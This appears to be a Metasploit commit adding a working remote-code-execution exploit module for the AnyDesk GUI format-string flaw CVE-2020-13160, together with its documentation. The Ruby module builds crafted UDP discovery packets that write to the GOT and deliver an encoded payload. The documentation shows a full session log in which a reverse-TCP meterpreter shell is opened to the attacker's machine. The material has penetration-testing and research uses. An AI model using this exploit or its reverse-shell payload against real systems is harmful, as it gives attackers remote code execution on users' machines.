Land #13733, AnyDesk GUI CVE-2020-13160 exploit

This commit is contained in:
William Vu 2020-07-01 14:47:07 -05:00
commit 08c1402be9
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
2 changed files with 217 additions and 0 deletions

View File

@ -0,0 +1,61 @@
## Vulnerable Application
This vulnerability affects Linux versions 5.5.2 and older. Old versions of AnyDesk can be downloaded from their site at
https://download.anydesk.com/linux/. Use the `.deb` package for an Ubuntu installation.
The `check` method on this exploit will send an AnyDesk discovery frame to the target host, which will cause the
target to respond with its own discovery frame. Each of these are sent from a random source port to the default AnyDesk
discovery service port of 50001. To configure the listening service in Metasploit, change the `SRVHOST` and `SRVPORT`
options. The exploit will use this method to detect the remote hostname and confirm that the operating system is Linux
before proceeding.
## Verification Steps
1. Install the application
1. Start the AnyDesk GUI. A window will open, leave it running.
1. Start `msfconsole`
1. Do: `use exploit/linux/misc/cve_2020_13160_anydesk`
1. Set the module options
1. Do: `exploit`
1. You should get a shell.
## Options
### SRVHOST
This option is used to specify the host on which to listen for discovery frames from AnyDesk.
### SRVPORT
This option is used to specify the port on which to listen for discovery frames from AnyDesk.
## Scenarios
### Ubuntu 18.04 x64
```
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > use exploit/linux/misc/cve_2020_13160_anydesk
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > set RHOSTS 192.168.159.33
RHOSTS => 192.168.159.33
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > check
[*] 192.168.159.33:50001 - The service is running, but could not be validated. Remote hostname: ubuntu
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > exploit
[*] Started reverse TCP handler on 192.168.250.87:4444
[*] Discovered the remote service (hostname: ubuntu, os: linux)
[*] Sent exploit frame, waiting for the GUI to refresh to trigger the vulnerability...
[*] Sending stage (3012516 bytes) to 192.168.250.237
[*] Meterpreter session 1 opened (192.168.250.87:4444 -> 192.168.250.237:51044) at 2020-06-17 10:21:44 -0400
meterpreter > getuid
Server username: no-user @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer : 192.168.159.33
OS : Ubuntu 18.04 (Linux 5.3.0-59-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

View File

@ -0,0 +1,156 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'AnyDesk GUI Format String Write',
'Description' => %q{
The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially
crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the
discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On
successful exploitation, code is executed within the context of the user who started the AnyDesk GUI.
},
'Author' => [
'scryh', # vulnerability discovery and original exploit
'Spencer McIntyre' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2020-13160' ],
[ 'URL', 'https://devel0pment.de/?p=1881' ]
],
'Payload' => {
'Space' => 512,
'BadChars' => "\x00\x25\x26"
},
'Platform' => 'linux',
'Arch' => ARCH_X64,
'DefaultOptions' => {
'CPORT' => 50001,
'PrependFork' => true,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN ],
'SideEffects' => [ SCREEN_EFFECTS ],
'Reliability' => [ UNRELIABLE_SESSION ]
},
'Targets' =>
[
[
'Anydesk 5.5.2 Ubuntu 20.04 x64',
{ 'stkref1' => 109, 'stkref2' => 125, 'time@got.plt' => 0x119ddc0 - 139 }
],
[
'Anydesk 5.5.2 Ubuntu 18.04 x64',
{ 'stkref1' => 93, 'stkref2' => 165, 'time@got.plt' => 0x119ddc0 - 135 }
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-06-16'
)
)
register_options([
Opt::RPORT(50001)
])
register_advanced_options([
OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 50001 ])
])
end
def build_discover_packet(hn, user, inf, func)
buf = "\x3e\xd1\x01"
buf << [4919].pack('N')
buf << [0].pack('N')
buf << "\x02" + "\x01" # os
buf << [hn.length].pack('N') << hn
buf << [user.length].pack('N') << user
buf << [0].pack('N')
buf << [inf.length].pack('N') << inf
buf << "\x00"
buf << [func.length].pack('N') << func
buf << "\x02\xc3\x51"
end
def discover
server_sock = Rex::Socket::Udp.create(
'LocalHost' => datastore['SRVHOST'],
'LocalPort' => datastore['SRVPORT'],
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
)
client_sock = connect_udp(false, {
'RPORT' => datastore['RPORT'],
'CPORT' => 0
})
client_sock.put(build_discover_packet(rand_text_alpha(rand(5..9)), rand_text_alpha(rand(5..9)), 'ad', 'main'))
timeout = 10
while timeout > 0
start_time = Time.now
response, host, = server_sock.recvfrom(8192, timeout)
break if host == datastore['RHOST']
timeout = Time.now - start_time
end
return nil unless response[0..2].bytes == [0x3e, 0xd1, 0x01]
return nil unless response[11] == "\x02"
disconnect_udp(client_sock)
server_sock.close
hostname = response[17..17 + response[13..16].unpack1('N')]
report_host(host: datastore['RHOST'], name: hostname)
{
hostname: hostname,
os: response[12] == "\x02" ? :linux : nil
}
end
def check
info = discover
return CheckCode::Safe if info.nil?
CheckCode::Detected("Remote hostname: #{info[:hostname]}")
end
def bad_unicode
[ rand(0x80..0x90), rand(0..0xff) ].pack('CC')
end
def exploit
info = discover
fail_with(Failure::NotVulnerable, 'Discovery failed to detect the AnyDesk service') if info.nil?
fail_with(Failure::NoTarget, 'Discovery determined the remote host OS is incompatible') unless info[:os] == :linux
print_status("Discovered the remote service (hostname: #{info[:hostname]}, os: #{info[:os]})")
connect_udp
hn = "#{bad_unicode}%1$*1$x%18x%#{target['stkref2']}$ln"
hn << payload.encoded
udp_sock.put(build_discover_packet(hn, "#{bad_unicode}%#{target['time@got.plt']}x%#{target['stkref1']}$ln", 'ad', 'main'))
print_status('Sent exploit frame, waiting for the GUI to refresh to trigger the vulnerability...')
ensure
disconnect_udp
end
end